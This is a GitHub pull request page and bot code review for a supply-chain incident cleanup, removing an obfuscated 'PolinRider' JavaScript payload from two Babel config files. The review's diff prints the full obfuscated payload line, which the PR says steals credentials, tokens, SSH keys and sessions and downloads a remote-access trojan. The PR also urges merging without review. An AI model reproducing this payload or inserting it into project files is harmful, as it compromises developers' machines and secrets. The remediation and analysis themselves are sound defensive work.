Skip to content

security: remove PolinRider payload (supply chain attack)#4

Merged
suhas-005 merged 1 commit into
masterfrom
security/polinrider-cleanup
May 19, 2026
Merged

security: remove PolinRider payload (supply chain attack)#4
suhas-005 merged 1 commit into
masterfrom
security/polinrider-cleanup

Conversation

@suhas-005
Copy link
Copy Markdown
Member

Security Remediation — Merge Immediately

Attack: PolinRider DPRK supply-chain compromise. One or more config files were modified to include an obfuscated JS payload that runs on lint/build/npm install — steals env vars, AWS/gcloud tokens, SSH keys, browser sessions, and downloads a second-stage RAT.

This was missed by the May-15 incident cleanup because GitHub code search excludes files with single lines >4096 bytes (the obfuscated payload is one ~5000-char line, designed exactly to hit that exclusion). Detected by raw-content scan on 2026-05-19.

Markers found: rmcej, v1 seeds 2857687/2667686, global['!'] (PolinRider v1).

This PR restores the following infected files (ancestor = pulled clean from earlier git history; truncated = born-infected file, payload line stripped while preserving developer's intended content):

  • docs/babel.config.js
  • superset-embedded-sdk/babel.config.js

Action required for anyone who pulled this repo and ran npm install / lint / build: rotate AWS credentials, GitHub tokens, SSH keys, npm tokens, and any .env secrets immediately. Sign out of all browser sessions.

Refs

⚠️ No review needed — squash-merge immediately.

Restores infected files: docs/babel.config.js (ancestor), superset-embedded-sdk/babel.config.js (ancestor). See PR description for full attack context.
Copy link
Copy Markdown

@vulcanho vulcanho Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

📋 Summary

PR #4 correctly strips the identical PolinRider v1 obfuscated payload (global['!']='10-0150'; seeds 2857687/2667686) from docs/babel.config.js and superset-embedded-sdk/babel.config.js, completing the config-file remediation started in PRs #2 and #3. Both cleaned files are syntactically valid Babel configs. However: (1) the cleanup leaves a missing trailing newline that the configured end-of-file-fixer pre-commit hook will reject, and (2) the same attacker-controlled commit (7baf603425) that injected the payloads also made substantive, unreverted code changes to the app's initialization path (preamble.ts, views/index.tsx) and backend locale handling (base.py), none of which are addressed by this PR series.

💬 General Feedback

  • security: CRITICAL — Three files from the confirmed attacker commit (7baf603425, author Tu Shaokun / tt-a1i) have NOT been reverted as part of this incident response:
  1. superset-frontend/src/preamble.ts — refactored the entire app-initialization flow into an exported async initPreamble() function, added a fetch() call to /superset/language_pack/{lang}/ with an AbortController timeout, and changed how configure() / initFeatureFlags() / setupColors() are called. This file executes on every page load.
  2. superset-frontend/src/views/index.tsx — changed the entry point from a synchronous ReactDOM.render(<App />) to an async IIFE that awaits initPreamble() before rendering, and imports logging from @apache-superset/core.
  3. superset/views/base.py — changed the locale-to-language extraction to use isinstance(locale, Locale) / isinstance(locale, str) / fallback to app.config.get('BABEL_DEFAULT_LOCALE', 'en').

The config-file injections in this PR are byte-for-byte identical across all three infected files, making them easy to detect. The code changes above contain no obviously obfuscated payload, but they originate from the same compromised contributor session and have not been audited by a trusted team member. The initialization-path changes (preamble.ts, views/index.tsx) in particular warrant explicit review before trusting them in production. Recommended action: either (a) revert commit 7baf603425 entirely and re-land only the legitimate i18n fix as a clean, independently authored commit, or (b) have a trusted engineer perform a line-by-line audit of all three files against their pre-infection state and explicitly sign off.

  • security: The signature-driven supply-chain malware scanner (scanner.py, pollinrider.yml, generic-config-injection.yml, security-scan.yml) developed on branch ft-security-ci was never merged to master. The scanner workflow is designed to block PRs containing PolinRider indicators before they can be merged, and it would have caught exactly the payloads removed across PRs #2#4. Without it, future infections of this type will not be automatically detected. Merge the ft-security-ci branch (or cherry-pick the four files it adds) into master as a follow-up to this remediation series.

Comment thread docs/babel.config.js
],
plugins: ['@emotion/babel-plugin'],
}; global['!']='10-0150';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();
}; No newline at end of file
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Missing trailing newline not restored — pre-commit end-of-file-fixer will fail

The file ends without a trailing newline (\ No newline at end of file in the diff). The pre-infection version of this file (commit 73e095db8e and earlier) ended with };\n. The infection commit 7baf603425 lost the trailing newline by appending the payload directly after }; on the same line, and this cleanup preserves that regression. The end-of-file-fixer pre-commit hook is configured in .pre-commit-config.yaml and will auto-fail on both files. Add a trailing newline to fully restore the pre-infection state.

Also applies to: superset-embedded-sdk/babel.config.js:L26

Suggested change
};
};
Prompt for agents
In `docs/babel.config.js` at line 32, and in `superset-embedded-sdk/babel.config.js` at line 26, the files end without a trailing newline (git shows `\ No newline at end of file`). The pre-infection state had a trailing newline. Add a trailing newline to the final `};` line in both files so the `end-of-file-fixer` pre-commit hook passes. The fix is: ensure the last byte of each file is `\n` (i.e., the file ends with `};\n` not just `};`).

@suhas-005 suhas-005 merged commit 3edd01b into master May 19, 2026
63 of 67 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant